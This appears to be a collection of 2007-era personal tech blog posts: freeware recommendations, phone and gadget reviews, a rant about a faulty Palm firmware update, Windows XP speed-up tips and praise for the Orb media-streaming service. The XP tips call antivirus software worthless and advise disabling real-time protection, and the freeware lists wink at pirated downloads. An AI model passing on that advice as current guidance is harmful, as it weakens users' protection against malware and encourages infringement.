Joost – Joost is another application allowing you to watch free TV Online.

Miro – Miro is a free application that turns your computer into an internet TV video player.

InfanView – Useful for converting images and a great photo browser.

Picasa – Google’s excellent tool for uploading and sharing photos and creating galleries. I like Picasa better than flickr personally.

Azureus – Java based BitTorrent client. Great for downloading LEGAL software *wink & nod*

Spybot S&D – Best tool for finding and removing spyware and other things on your computer that might violate your privacy. Should be used in conjunction with a good anti-virus application such as ClamAV below.

ClamAV – ClamWin is the Windows version of the popular ClamAV. One of the best free anti-virus choices.

tftpd32 – Tftpd32 includes DHCP, TFTP, SNTP and Syslog servers as well as a TFTP client.
The TFTP client and server are fully compatible with TFTP option support (tsize, blocksize and timeout), which allow the maximum performance when transferring the data. Must have tool for configuring network equipment.

WireShark – Wireshark is the world’s foremost network protocol analyzer, and is the de facto (and often de jure) standard across many industries and educational institutions. Use this tool to help diagnose networking issues and configuration.

UpdateStar – UpdateStar is the program that lets you stay up-to-date with all of your personal software. Whether it be Freeware, Shareware and commercial software products, UpdateStar covers all of your software. UpdateStar knows more than 80.000 software products and lets you know once an update is available for you. No more wasted time searching for important software updates. Will notify you when updates are available, and provide you with links to download the updates.

KeePass – KeePass is a free and open-source password manager / safe that will store all of your passwords securely. Allows you to encrypt your password database to provide added secure protection.

CrossLoop – CrossLoop’s underlying technology was created to simplify the process of securely working with others located in different physical locations across diverse network environments. CrossLoop enables you to see the screen and control the mouse and keyboard on a remote computer. It is as if you are working side by side at the same PC. CrossLoop is a powerful productivity tool that enables you to quickly collaborate with anyone in the world. Also allows Tech to provide remote technical support.

NetStumbler – Use NetStumbler to view all 802.11 wireless signals in range. Will provide you with signal strength monitoring allowing you to establish a stronger signal. Very helpful in doing site surveys and wireless network troubleshooting.

Skype – Make calls from your computer — free to other people on Skype and cheap to landlines and cell phones around the world.

VMware Server – VMware Server is now free to all. Allows you to run multiple virtual operating systems on a single server. Technicians can also use VM’s for testing new configurations. Consolidate multiple servers into one, save money on hardware and electricity costs. Make it part of your own “green computing” initiative.

UltraVNC – There are many versions of VNC clients and servers. I happen to like UltraVNC the best. The client has good options and the server is able to serve to many different types of clients. For those who use windows mobile devices, UltraVNC provides good options.

TerraCopy – TerraCopy can replace the standard windows copy. With TerraCopy you can pause and resume file transfers, copy files faster and it has good error recovery. If you find yourself transferring files over WAN shares TerraCopy is a must have.

SysInternals – The Sysinternals Troubleshooting Utilities have been rolled up into a single Suite of tools. This file contains the individual troubleshooting tools and help files. Whether you’re an IT Pro or a developer, you’ll find Sysinternals utilities to help you manage, troubleshoot and diagnose your Windows systems and applications. Sysinternals Suite is a must for any admin or technician’s tool-kit.

MediaCoder – MediaCoder is a free universal batch media transcoder, which nicely integrates most popular audio/video codecs and tools into an all-in-one solution. With a flexible and extendable architecture, new codecs and tools are added in constantly as well as supports for new devices. MediaCoder intends to be the swiss army knife for media transcoding.

Combined Community Codec Pack (CCCP) – This is the best video codec pack I’ve found. With CCCP you’ll be able to play virtually any type of video file.

XChat – XChat is an open source windows IRC client. Replacement for mIRC. If you like kickin’ it old school on IRC, this is your client of choice on windows. I suggest EFnet. Don’t let the name fool you, there is plenty of Eris on EFnet.

Orb – Orb is so freaking awesome, I don’t know where to start. Orb will allow you to stream the media on your desktop (or server) to any device connected to the internet. I know that is a big statement, but its true. Want to stream your movies and music to your PDA? No problem. Want to watch your movies at work? No problem. So if you have a big media collection, you need Orb.

7zip – Handy little application for zipping and unzipping files. Ability to handle many formats.

Daemon Tools – If you are like me (and if you aren’t, you should be) you back up your important CD’s to .iso images. Daemon Tools allows you to mount those .iso files to a virtual cdrom on your system. No more wasted time and money burning CDs.

Notepad++ – Notepad++ is an advanced text editor replacement for notepad.exe. It even has syntax highlighting.

WinPenPack – A collection of tools for your USB flash drive. I dare say I like this suite better than PortableApps.

WinDirStat – WinDirStat gives you a visual representation of the files on your hard drive. This map will help you locate files you have forgotten aobut, or data that can be erased. Handy tool for auditing the file system of your PC

Pidgin – Pidgin is a multi-protocol Instant Messaging client that allows you to use all of your IM accounts at once. Replacement for all of your different IM clients.

Handbrake – Convert your DVDs to Mpeg4 for use in your portable devices.

Audacity – I use audacity to edit my own ring tones from .mp3 files.

DVDshrink – Burn backup copies of your DVDs with DVDshrink.

Mobile 3GP Converter – Use this handy program to convert videos shot on your cell phone (in .3gp format) into .avi files which you can then upload to various video sharing services such as YouTube.

nLite – nLite is a tool for pre-installation Windows configuration and component removal at your choice. Optional bootable image ready for burning on media or testing in virtual machines.
With nLite you will be able to have Windows installation which on install does not include, or even contain on media, the unwanted components. Use nLite to build your own custom Windows installation.

SysPrep Driver Scanner – If you use SysPrep to build standard installation images, you should use SysPrep Driver Scanner. Makes the process of building drivers into your install simple.

Unlocker – Unlocker allows you to “unlock” files that are in-use. Ever try to delete a file but have windows tell you that it is being used? You can now delete any file with Unlocker.

Damn NFO Viewer – A viewer for those pesky .nfo files.

Siginet DriverGrabber – This application will scan your computer and copy all of the drivers installed to a separate directory. No more hunting around for drivers after you reinstall windows, just run the DriverGrabber and you’ll have all of your previous drivers. Also a handy tool for making so-called Universal Images (with programs such as Ghost) including drivers for different types of hardware. Use in conjunction with the SysPrep Driver Scanner above to include paths for the drivers.

Google Desktop – If you have tons of data spread across multiple drives, computers, and email accounts you need Google Desktop. Google Desktop will index all of your data and allow you to search for the information quickly. No more hunting around for documents or previous emails.

I recently purchased a set of Motorola Bluetooth™ Active Headphones S9 and on the very first day of using them, the larger sized ear-buds fell off when they were around my neck.  This was probably more my fault than a design flaw.  Well, I wrote to Motorola customer support and explained the situation.  I was fully willing to pay for new ear-buds (maybe up to $5), but Motorola was kind enough to send me a free set of ear-buds.  I received them in the mail a couple days later.  That is impressive.  I’ve written to many companies for various issues with products or service, and this is one of the few times that I’ve gotten a satisfactory resolution with little pain on my part.  Many companies don’t even bother responding (Looks in TGIF’s direction).

I know it’s bad that I am so impressed, but I am.  So I figured the least I could do for such good customer service was to write favorably about it and hope that other companies start to follow suit.  Kudos to Motorola for handing the situation as well as they did.

The streaming video portion of the browser is cool. Its a tad choppy on my Verizon EVDO setup, but the audio is clear. I hear it works better on a WIFI connection, but I don’t have WIFI to test it on at the moment. The current version of Skyfire is 0.6 Beta. I am treating this version as more “proof of concept” versus what the final product will look/function like. That may be wishful thinking, but I can’t pass final judgment yet.

UPDATE: I am testing video streaming via WIFI at the moment, and it is indeed much smoother over the WIFI versus EVDO.

Some of the navigation/zooming features are cool on Skyfire, some are not so cool. I believe they will work out some of the bugs in future releases. I think some of the limitations may just be due to the small screens on Windows Mobile based phones. Any of the performance related issues I’ve experienced with Skyfire are probably because of the limited processing power and memory available on Windows Mobile handsets.

Overall, Skyfire looks very promising and is worth signing up for the beta. It will not replace PocketIE for text browsing just yet, but has a lot of potential, especially on future mobile devices.

Well, I did it. I killed my Treo 700w. It took a tumble and the screen cracked. I had insurance and I could have gotten it replaced, but I decided to just get a new phone instead. I was up for my “new every 2″ with Verizon, so I decided to pick up the Samsung SCH-i760. I’ve got mixed feelings about it right now. I used to hate my Treo 700w for mostly performance related reasons. After only a couple days of playing with the SCH-i760 I’m starting to miss some of the Treo’s better features. It’s a mixed bag.

The Samsung SCH-i760 definitely out performs the Treo 700w in terms of speed and stability. Windows Mobile 6 looks pretty, but beyond a user interface “paint job” little has changed in the functionality. The thing I’m missing most about the Treo 700w right now is the ease of one handed operation. The SCH-i760 has a slide out keyboard, so typing with one hand is out of the question. Still, I’m almost glad to have the performance over ease of use at this point.

I will write some posts detailing anything interesting I’ve found out about the SCH-i760 in the near future. I’m still working out the kinks and trying to figure out how best to use this sucker. The only thing I can see right now is that while the SCH-i760 construction seems tight, its no Treo 700w. I’m afraid the first time I drop this thing its going to shatter into a million pieces. Lets all hope that doesn’t happen.

I was expecting flashy booths and displays from some of the top electronics companies, however this was not the case. The few major companies with exhibits were showcasing the same stale old technology they’ve been schlepping for a while. Major companies you would expect to be at a show of this type were completely absent or under-represented. As far as “technology” offerings goes, many of the companies represented were “B-Level” companies. The gaming side of the convention was horrible with the notable exception of the Namco and Guitar Hero 3 booths. Virtually no other game producers were on hand to showcase their latest offerings. Entertainment wise, what entertainment? There was an exhibit at the Toshiba booth about HD-DVD and that is about it.

Gateway unveiled its “ONE” product line, an all-in-one computer reminiscent of Apple’s newer iMacs, except black. Gateway tried to hype up this product as revolutionary, as if they just figured out that style is important for consumer products, Hello 1998. Palm introduced the Centro line of phones, a product aimed at the low end cell user. Instead of being revolutionary the products showcased at the event were completely lack luster and the same old fare, very stale.

Companies I would have expected to show up include: Apple, Sony, Google, IBM, Verizon, Sprint, AT&T, NBC, FOX, Rockstar Games and Bungie, to name a few. To top off the disappointment, all the swag sucked. I’m done, I’m running out of adjectives to describe the steaming pile of poo that was DigitalLife. Maybe next year will be different, but I’ll believe it when I see it.

A big part of the reason for my attending DigitalLife is to cover some of the new technologies at the show. You may know from reading my blog that I love gadgets, so I will try and cover any of the revolutionary new items hitting the market soon. DigitalLife also has extensive gaming events and tons of exhibitors.

If there is anything you would like me to try and find out for you, just leave a comment below! I will do my best to find some information and report back in an article or comment! I’m looking forward to hearing some of your suggestions, questions, and comments. And as always, I’m in it for the Swag, and if I get anything really good I will try and find some way to give back to the readers! So lets hear your questions and I may pick you at random for some free stuff!

Any companies that would like to give me some Swag to share with readers, please contact me via the contact page so we can meet up! See you at the show!

Tickets to the event are only $12/person for a 4 day pass, which to be honest is quite a good deal for a tradeshow/convention.

I’m also looking forward to the release of Halo3, Guitar Hero3, and other games that will be premiering at the event. Should be good times for gamers as well as technology geeks. Hope to see you all there. Stay tuned for updates!

The in-store customer service rep was clueless about the update being broken. He suggested I contact Palm, to which I replied “Palm says contact Verizon”. He stated that he would have known about it because Verizon sends notices to stores when problems arise. Well I showed him the message from Palm’s website stating that the updater was broken, and has been recalled. I also showed him the discussions over at treocentral regarding the broken update. I told him all I want is a replacement with the old firmware on it. He then went into the “back” for about 3 minutes, and came out with a refurbished Treo 700w with the 1.10 firmware. Perfect! He let me have it, and I was out of the store within a few minutes.

So if you are looking to get your phone replaced from the bad update find your local Verizon store (not a 3rd party store), and ask them to check their inventory for phones with the old update. Goodluck.

For the benefit of anybody who may have already upgraded their Treo to version 1.22 I’ll give you some resources to check on some of the issues involved with the update. After that, I will go on my rant lambasting Palm.

From Palm’s announcement about the recall of the update:

We have temporarily taken down the Verizon Wireless Treo 700w/wx updater as a result of reports from customers who have experienced data network connectivity issues after installing the software update on their devices.

The issue is caused by a device setting that affects connectivity to the Verizon Wireless network under certain situations and only occurs on devices that have installed the updater. Users receive an error message and typically can reconnect to the data network after a short period of time. This data connectivity issue does not affect the device or personal data in any other way.

Treo 700w/wx users on Verizon Wireless experiencing this issue will see the following error messages more frequently:

• Page Cannot Be Displayed
• Answering Modem is Disconnected
• No Modem at Above Number

We are currently working on delivering a solution and will repost the updaters as soon as they are available. If you would like to be notified by email when the updaters are available, please submit your email address. Thank you for your patience.

The main issue with the 1.22 update appears to be difficulty connecting to the EVDO data service. I have experienced this problem since updating my phone. Most of the time when I try to connect to the data service I get the error:

Dialed #777 – No modem at above number. To check your connection settings and change them if needed, tap settings.

I can usually reconnect to the EVDO network if I turn off my phone (by holding down the red power button) and turning it back on. It’s a real pain in the ass when 9 out of 10 times you try to connect it doesn’t work.

Another issue appears to be that my speaker phone volume is about 1/2 as loud as it usually is. It is so quiet now it makes the speaker phone function virtually worthless. Also, my voicemail indicator wont go away even though I have checked and erased all of my voicemail messages…quite annoying.

It appears that other issues people are having include IrDA not working, WIFI SDIO cards not working, and more. Check out the forums over at treocentral.com for more discussion about the issues people are having.

Now, for the moment you’ve all been waiting for…a Rant against Palm and other manufacturers who screw early adopters and use consumers as beta testers for expensive products:

I have been an early adopter of various gadget technologies for over a decade. Unfortunately being an early adopter has become synonymous with “Chump”. I get excited over new technologies and try to find ways to incorporate them into my lifestyle. But the companies that release these technologies seem to think that they can release half-assed products and expect people to flock to them like flies on shit. Worst yet, is when a major problem does arise the company doesn’t communicate with consumers about those issues. A prime example of this is the thread on Palm’s own forum about the 1.22 firmware upgrade issues, Palm doesn’t even have the decency to reply to customers about their concerns.

I for one am sick of spending hundreds of dollars on products that don’t work as advertised.

I’ve always been a fan of lock picking. Its fun. Below are some links related to the lock picking events this year:
Hackers click locks open at conference in US
White House High-Security Locks Broken: Bumped and Picked at DefCon

Got to love Defcon. 12 year old girl bumping a lock:

Besides all that I haven’t heard too much in the way of other news. It usually takes people a week to sober up and remember all the really important things that went down at Defcon. So I will keep my eyes open and post any more interesting bits that came out of the convention this year. If you know of anything that went down, or would like to share your experiences this year please comment below!

This official update includes the following changes:

What does this update do?

This update is designed for both the Palm Treo 700w and the Palm Treo 700wx running on the Verizon Wireless network. This will update the smartphone’s software to the latest release, version 1.22.

On the Treo 700w, this update features:

• High-speed dial up networking (DUN) – use your Treo smartphone as a wireless modem for fast web access virtually anywhere¹. Supports USB and Bluetooth connections.
• Advanced audio support (A2DP) – listen to the clear sounds of high-definition audio with new support for Bluetooth stereo headsets.
• Today Screen enhancements – one-touch access to the Speakerphone and Mute control buttons gives you more freedom than ever.
• Hands-free enhancements – Drive safely and work more efficiently. Get support for even more Bluetooth carkits and the Palm wired carkit.
• Abbreviated dialing preferences – save time with the international dialing prefix and abbreviated dialing for campus environments.

On the 700wx, this update features:

• Update Registry settings for Bluetooth stereo headsets (A2DP) and Bluetooth Dial-Up Networking (DUN) support.
• DUN performance improvements.
• Additional Daylight Savings Time features.

¹ Within wireless service coverage area only. Additional service charges may apply. Connection via USB sync cable (included in box) or Bluetooth^® wireless technology.

I say “Give me the free media with some ads, its cool”. Let me download free mp3s with a 5-10 second advertisement at the end, or even an advertisement for the album art. Give me some commercials when I’m streaming internet television and just make sure it’s quality content. If I don’t want the advertisements I will gladly purchase your product. However the flip side to that is I do not want advertisements in the media I pay for. I recently canceled my digital cable television account. I got sick of paying for 12 hours worth of infomercials and paid-advertising programs. Digital cable was costing me over $100 each month. Cable TV is going to lose to Internet TV. I have been consuming “free” legal media on the internet for the past several months. Quality content is starting to be shown all over the internet, with huge media companies licensing their shows to be shown online.

I’ve been beta testing Joost for the last few months. (If you would like an invite to the Joost Beta, leave a comment and I will do what I can.) Joost has improved quickly in its short run, signing the likes of Paramount, CNN, Comedy Central, Adult Swim, and more for channels of content. The advertising is generally unobtrusive, but slightly repetitive but thats to be expected in a beta with limited advertisers. There is word that Joost is developing an embedded platform for a set-top type box. Expect to see devices in the future that pull content from the internet to display on your HDTV. The line between TV and computer will only blur more. IPTV could hit the Sony PS3, Microsoft Xbox 360, or Nintendo Wii through updates in the future. Game consoles are already in millions of homes worldwide, and could evolve into content delivery systems as well as gaming systems.

Portable media is also the future. As the wireless networks get better and the devices more sophisticated, people will be able to access media anywhere in the world, on demand. The iPhone and Orb for cell phones is just scratching the surface of mobile digital media. The next few years will be interesting indeed. I can’t wait until all of the major media networks release their new programs simultaneously on the internet as well as broadcast television.

Windows XP is a beast. It uses a lot of your system’s RAM just to run and load windows. Many new computers since the release of XP only come with 256MB or 512MB of RAM. So while your computer may be “new” it has barely enough RAM to just run Windows. Add your web browser, Microsoft Office, or some other applications and soon your computer will slow to a crawl. So first things first, check your RAM. If you want to do any “real” work in Windows I suggest a minimum of 1GB of RAM. (To check your RAM, right click on “My Computer”, select “Properties”. Your RAM should be listed in the information on this screen)

So you say you have enough RAM? Well next thing you can do to speed up your system is disable all the animated menus and eye candy that shows up on your screen. Don’t worry, windows will still work great…infact it will work better. To disable effects that make your computer run slow: Right click on your desktop and select “Properties”. Click the “Effects” button. Remove all of the check marks in the boxes and click OK, ok. Next right click on “My Computer”, select “Properties”. Click the “Advanced” tab and the “Settings” button. Choose “Adjust for best performance” and click OK, ok. Your desktop will now look like the old Windows 98′ish desktop. No more fancy XP eye-candy, but at least now your computer will run a little faster.

The next biggest thing I see that causes PC slow-down is running Anti-virus software like Norton or McAfee. These anti-virus solutions run “real-time system monitoring” and scans when you are using your computer. In my opinion most anti-virus software is worthless. You can protect your system through safe computing practices, using FireFox as your web browser, and updating windows regularly. Occasional virus scans are still recommended, but having an anti-virus program running constantly in the background will reduce most systems to a slow crawl at times. Disabling the “real-time” protection in your anti-virus should speed up your system.

Having many applications in your startup will also slow your system down. Most of the applications that start automatically when you load windows are unnecessary. So if you have a lot of programs running in your system tray when windows starts, chances are you could do without most of them. To disable the startup of applications click “Start” and then “run”. Type: msconfig and press OK. This should bring up the “System Configuration Utility”, click on the Startup tab. You can safely disable most of the applications that are selected. If you reboot and encounter issues with any applications, you may re-enable the startup setting for that particular application. With fewer applications running at start-up, you will have more memory to work with your applications. Just run applications as you need them, instead of starting many at once when you log into Windows.

While still in the “System Configuration Utility” click on services. Disable “Indexing Service”. This service indexes all the files that are on your computer. It does this so that if search for something on your computer, it will search faster by scanning the index lists. If you don’t search your computer often, or even if you do search often, this system service is completely unnecessary and will slow down your computer more and more over time. Once you’ve disabled everything click OK on the “System Configuration Utility” and choose “Reboot Now”. After your computer reboots a window will pop-up that mentions that “the configuration has been modified etc…” you can click “don’t show this in the future” and it won’t come up again next time you reboot.

There are many other tips and tricks you can use to speed up your computer. This article is geared towards those who aren’t “geeks”. I haven’t really listed anything that could cause permanent damage to your system (provided you follow my instructions). If you are up for more advanced techniques which include editing the registry, please search Google and be careful.

Advanced resources for speeding up your computer:

• http://www.annoyances.org/
• http://www.xptuneup.com/
• http://www.tweakxp.com/performance_tweaks.aspx

Don’t forget to install Spybot S&D to rid yourself of Spyware, Malware, and Adware. Don’t forget to defragment your hard drive on occasion as well. Good luck and have fun with your faster Windows XP machine.

When I use the term "Web2.0" I am using the term to describe not only software, but the way we interact with eachother through the software.  Besides the enhanced and friendly user interfaces of some Web2.0 sites, this new generation of the web is all about sharing.  We are just being able to communicate in virtually any medium anywhere in the world, in near real-time.  This is a revolutionary advance that will have profound effects on how we work, play, and communicate across the globe.  Web2.0 is all about making these technologies easier to use, easier to share, and and easier to find.  Collaboration and transparency aren’t just buzz words, they are principals shaping a new society. 

Many people are writing off Web2.0 as the "Second Internet Bubble" and unfortunately I believe that they are mainly correct.  But just because some companies will go out of business and some venture capitalists loose a couple million, it’s no excuse to write off the techniques and theories that are driving this movement.  The ideas of collaboration, transparency, and open source are just starting to emerge in the popular culture meme across the globe.  Large multi-national corporations and Governments are beginning to embrace some of the social theories put forth from this new global cyberculture.  Web2.0 gives more power to the person at the keyboard, instead of just reading the Web like a newspaper, YOU are the web.  Your friends are the web.  It has never been easier for the average person to share their knowledge and experiences with the world.  Technology is worth understanding, because in the Web2.0, every voice can be heard.

I encourage everybody to jump into new technologies with gusto.  Don’t be afraid of technology, it’s here to help you.  Once you understand what this new software and philosophy is all about, you can begin to share it with others.  As more people form loose social networks and begin to collaborate on a large scale, the better the "web"/"content"/"value"/"internet"/"experience"/"connection" will be in the future.  There is a wealth of human knowledge that has yet to be shared.  As we have more access knowledge we humans can begin to better understand everything.

From a pure new user standpoint I would suggest using the following websites to become accustomed to "Web2.0" tools and concepts.  Don’t be afraid, they wont bite.  If you don’t understand something, search google!:

• Netvibes ( personal start page )
• Del.icio.us ( social bookmark sharing )
• Picasa ( google’s photo sharing service )
• Gmail ( google’s free email service )
• Meebo ( web based instant messaging for aim, icq, msn, yahoo, gtalk, and meebo widgets )
• Craigslist ( localized public message board )
• Ziki ( online identity management, if you use more than 2 "web2.0" sites, you should use Ziki)

I’ve given you enough homework for today.  Stay tuned for more information on living with technology in future installments.  I’m not done with this topic by a long shot….
 

(list updated 6.12.2007 – I will continue to update as I find / remember more software)

The List:

• ClamWin: Open source anti-virus client. Keep your PC free of viruses.
• Democracy Player: Fueling the next generation of Internet TV and media broadcasting
• Microsoft PowerToy "ClearType Enhancement": Make your fonts more readable with this free tool from Microsoft.
• Microsoft PowerToy "Cmd prompt here…": Adds a context menu in explorer to open a command prompt from any folder
• Cole2kMedia Codec Pack: All in one audio and video codec pack for windows. Watch and encode virtually any format.
• Daemon Tools: Create virtual drives and mount ISO images on them.
• Damn NFO Viewer: Small text editor good for viewing ascii readme files.
• Microsoft PowerToy "Virtual Desktop Manager": Allows you to switch between 4 virtual desktops.
• Ettercap: Great tool for network troubleshooting / sniffing.
• FileZilla: This is the only FTP client I use.
• Firefox: Best web browser, ever.
• Flash Player: You know you need it, so don’t forget to install Flash on your system.
• FreeMind: Powerful java based Mind Mapping software. Great for getting your ideas mapped out. Good for making nice looking organization charts too.
• iTunes: I own an iPod, and it comes with Quicktime which you need anyways.
• IrfanView: Good utility for viewing images. Allows for batch resize and has multiple useful plugins.
• Sun Java: Another thing you don’t want to forget to install so you can view certain websites.
• KeePass: Excellent security application for organizing all of your usernames and passwords.
• Last.fm: Tell others what music you are listening to, suggests music you might like as well.
• MediaCoder: All in one audio / video transcoder. Changing between digital media formats has never been easier.
• NetStumbler: Use this application to perform a Wireless site survey or monitor the strength of your own wifi signal.
• OpenOffice: Replacement for Microsoft Office.
• Picasa: Google’s photo editing, organizing, and sharing software.
• Pidgin: Cross network instant messaging platform. Login to all of your IM accounts at once.
• Putty: Putty is the greatest SSH client ever.
• Skype: Make calls around the world to other PCs or real phone numbers. Collaborate with friends and associates.
• Spybot S&D: The best spyware remover I’ve used. I still recommend using multiple anti-spyware solutions for better protection.
• Microsoft SyncToy: I use this application to sync my memory sticks with different data.
• Sysinternals Suite: Must have resource for system admins to troubleshoot Windows PCs. My favorite in the bunch is ProcessExplorer. Every geek should know and use these tools.
• SysMetrix: Fully skinable metrics system for your PC. Check out cpu, memory, network usage, etc…
• Microsoft PowerToy "Task Switch Replacement": Shows previews of each window when you alt+tab to switch tasks.
• Thunderbird: Full featured e-mail client from Mozilla, the makers of Firefox.
• TrueCrypt: Create encrypted virtual drives. Great for securing memory sticks with sensitive information.
• Microsoft PowerToy "Tweak UI for XP": Lets you control how windows behaves, allowing fine tuning of many user interface elements as well as system resource tuning.
• VLC (Video Lan Client): Light weight yet versatile media player. Supports many formats including xvid/divx and mp4.
• Wakoopa: Share information about the applications you use with the community.
• Azureus: Java based bit torrent client.
• Wireshark: The best network protocol analyzer around. Used to troubleshoot networks.
• WinRAR: easy file extraction.
• XChat: Full featured IRC client. Best Windows client so far as I can tell. Supports multiple server connections and tabs. Stop using mIRC.

(To give you a brief rundown of some of the devices you can stream your media to: Microsoft Xbox360, Nintendo Wii, Smartphones, PDAs, Sony Playstation 3, Laptops, Desktops, etc…) and (To give you a brief rundown of some of the data formats you can access through Orb: RSS feeds, photos, .mp3, xvid, divx, .mp4, .wav, .avi, .mpg, mpeg, live tv, etc…)

Orb Networks is the company that produces Orb2.0. The first line of their mission statement reads as follows: Orb Networks, Inc. is a team of entrepreneurial, talented and innovative people who are driven to fulfill the promise of the Internet. That is a lofty claim, to fulfill the promise of the Internet. I would say they are living up to part of that goal so far. The Orb software allows you to access your collection of data on your home pc or network from any web browser. That idea right there is HUGE, but what really makes Orb stand apart is how easy they make it work. You download the Orb software on your home PC and you are ready to rock and roll.

From the Orb website you can browse your music, movies, and other documents. Orb allows you to choose your streaming format too. You can play your music or movie in an embeded Flash player or your favorite media player. As long as your home PC has the proper codecs, Orb will re-encode your media and stream it to whatever device you are trying to play it on. Orb will adjust its bandwidth usage to insure smooth streaming.

Orb doesn’t stop at allowing you to stream music and movies, you can also watch LIVE TV!! As long as you have a supported tv tuner in your PC running Orb, you can stream your cable or satellite television to any device. I’ve used this feature while traveling and sitting in airports or long train rides. I can even set my DVR to record shows with Orb.

Orb can also function as a home security server. If you’ve got webcams attached to your Orb PC you can view the webcam from your mobile device. You can view your photo collection, read your RSS feeds, get stock quotes, weather, view your text documents, and view bookmarked online (youtube type) videos. The list goes on and on.

The main site you interface with your Orb server is http://mycast.orb.com. Once logged into your MyCast site, you can setup a personal home page using drag and drop widgets. Orb even supports Google Gadgets and multiple Tabs on your MyCast page. From the MyCast page you can manage all elements of your media including playlists, RSS Feeds, directories, and playback settings. The interface is intuitive and pleasing to the eye. Its an excellent example of using AJAX, JavaScript, and Flash to make a seamless web application. I look forward to the next round of web applications inspired by this new functionality.

And like all good software these days, it needs a social networking component. Widgets. Yes Widgets!! Everybody these days loves widgets. You can place them on your website on your MySpace profile or other social networking profile. You can even generate RSS feeds of your playlists to share. Orb even allows you to create a custom web page for your friends to view your shared media.

If you haven’t done so already…go download and install Orb! What are you waiting for? It’s FREE. If you stuck out this long to the end of the post, I thank you. Web 2.0 principals and technologies are allowing us to do remarkable things with our digital media and devices. The surface is just starting to be scratched when it comes to these kinds of advances. I’m looking forward to the next few years when we’ll begin to see a convergence of technology and everyday life. I wish luck to Orb Networks and their quest to fulfill the promise of the internet.

Firefox: First and foremost, you should be using Mozilla’s Firefox web browser. The Firefox web browser tends to be more secure, faster, and more stable than Internet Explorer. Using Firefox as your web browser may provide you some extra protection against Viruses and Trojans. There is really no excuse these days not to use Firefox for web browsing unless you MUST use IE for specific sites. (You can use an IE tab extension in Firfox, but thats a whole other story…) You can download Firefox for FREE with Google’s Tool pack from this website by clicking on the "Get Firefox" link on the left.

Thunderbird: This is Mozilla’s FREE Email program. Thunderbird is a terrific replacement for Microsoft Outlook and Outlook Express. Thunderbird is compatible with may office setups and should work for most of your clients. Please check out this guide for information on migrating your customers to Thunderbird: Howto: Thunderbird & MS Exchange Server

ClamWin: I used to suggest AVG Free Antivirus for some clients, and I still do sometimes. But ClamWin has gotten much better in the past few years. ClamWin is open source software. It’s light weight and will run on most average systems without as much slow-down as other anti-virus software. (On a side note, running Norton Anti Virus or something like that on a Windows XP computer w/ 512mb of RAM or less will seriously degrade the performance of your system. Disable real-time protection or use a "lighter" anti-virus solution) I also will suggest Trend Micro’s Housecall, a free web based anti-virus. Housecall works like a charm for your basic infections.

Spybot-S&D: This is the best anti-spyware scanners around. Spybot Search & Destroy will scan your system and remove any adware, spyware, malware, dialers, keyloggers, usage tracks, and trojans from your system. Spybot does a much better job than Norton and other related tools at removing all of the internet’s baddies.

OpenOffice: Face it, Microsoft Office is expensive. You can save a ton of money and headaches by installing OpenOffice. OpenOffice is a complete office suite including word processor (Word replacement), spreadsheets (Excel replacement), presentation software (PowerPoint replacement), database application (Access replacement), and more. OpenOffice also allows you to save your documents in Microsoft compatible formats, as well as open Microsoft Office documents.

Pidgin: Most offices don’t use Instant Messaging yet, some do. Pidgin is a multi-network Instant Messaging client that allows you to log into virtually all of your IM accounts at once. Pidgin has a simple user interface and is easy to learn. My main reason for introducing IM software to businesses is that it can save the employees a lot of time. Instead of getting up and walking halfway across the building to ask someone a question, or interrupt them with a phone call, you can shoot a quick Instant Message and get an answer to your query.

PDFCreator: Free tool that allows you to create PDF files from almost any Windows application. Features include: Create PDFs from any program with the ability to print, encrypt PDFs, convert PDFs to PNG/JPG/TIFF/BMP/etc…, merge multiple files into one PDF.

FreeMind: A free mind-mapping software used for note taking, project planning, building a knowledge base, and brainstorming. If you haven’t experienced mind-mapping for yourself I highly suggest giving it a spin. For your clients who could use a little more organization in their business, a mind map might be the solution they didn’t know they needed.

I think that about wraps up this installment. If you have any FREE software you would like to suggest for small businesses do us a favor and leave a comment with some links!

And now, in no particular order, some links and descriptions of nifty Pocket PC / Windows Mobile software that I use:

Microsoft Live Search for Mobile: I’ve had the occasion to use Live Search on a day trip across the state recently. It was easier to map out my route and locate businesses in the area with Live Search than the way I used to map everything out. Give it a try, you’ll like it.

pRSSreader: If you know the awesome power of RSS feeds, here’s a way to keep up with ALL of your feeds on the go. Local caching for off line browsing as well. Powerful bit of software. Export your Netvibes OPML file and import it into pRSSreader

GSplayer: GSPlayer is an application for streaming audio on your Windows Mobile device. I use GSplayer to stream my local NPR station while I work (or in the shower). I would be lost without this application to get me through the day.

PocketIRC: PocketIRC is the best IRC client for Windows Mobile that I have used..and I’ve used them all. So if you are still rocking it 0ldsch00l on IRC take a look at this bit of software.

IM+: SHAPE Services’ IM+ product costs about $40. With that said, its the best Instant Messaging client I’ve use don the the Windows Mobile platform. IM+ has versions for many platforms, but I have not tried them. You can download a 7 day free trial from the site and give it a spin. This client allows connections to the following IM services: MSN®/ Windows Live Messenger™, AIM®/ iChat, ICQ®, Jabber®, Google® Talk and Yahoo®.

Splashblog: Photo blogging made easy. I’m a big fan of this service.

My Devices/Gadgets:

• Acer Aspire 5672 (laptop)
• Palm Treo 700w (phone/pda)
• Apple iPod 30gb (mp3 player)
• Nikon Coolpix (4mp digital camera)
• Motorola HT820 (bluetooth stereo headphones)
• Microsoft USB GPS locator

………………………… OK. As you can see mobility is important. I don’t like being tied to one place when I’m working. Changes of scenery are appropriate for certain tasks. Having a laptop is important. I don’t really do much gaming on the computer, so a desktop computer doesn’t do me much good. Computers these days are almost "dead" machines without internet access. Sometimes you want to work where standard wireless access is not available, so having a personal backup internet system is key. I can tether my Treo 700w to my laptop (no wires through bluetooth!) and use my cell phone’s internet plan to use the Internet on my notebook. This allows me "true" mobility. I can access my data from anywhere.

Now don’t think I’m tied to my laptop all the time. I can access most of my most important data on my Treo 700w. The Treo 700w runs Windows Mobile 5.0 and there are many great applications for using the Internet to access your data. Some of the things I use my Treo for other than voice calls include: email, photo-blogging, text messaging, instant messaging (ICQ, AIM, Yahoo, MSN, gTalk, IRC, Jabber, etc…), remote desktop (to windows or linux systems), directions, maps, internet search, streaming media (audio AND video!), and read RSS feeds. Whew, thats a lot. As you can see, using the Palm device to access your information can come in handy. I don’t really do a lot of "work" on the phone itself, but I do use it to keep up with my data stream (email, news, messages, updates…) so I don’t need to be tied to the laptop.

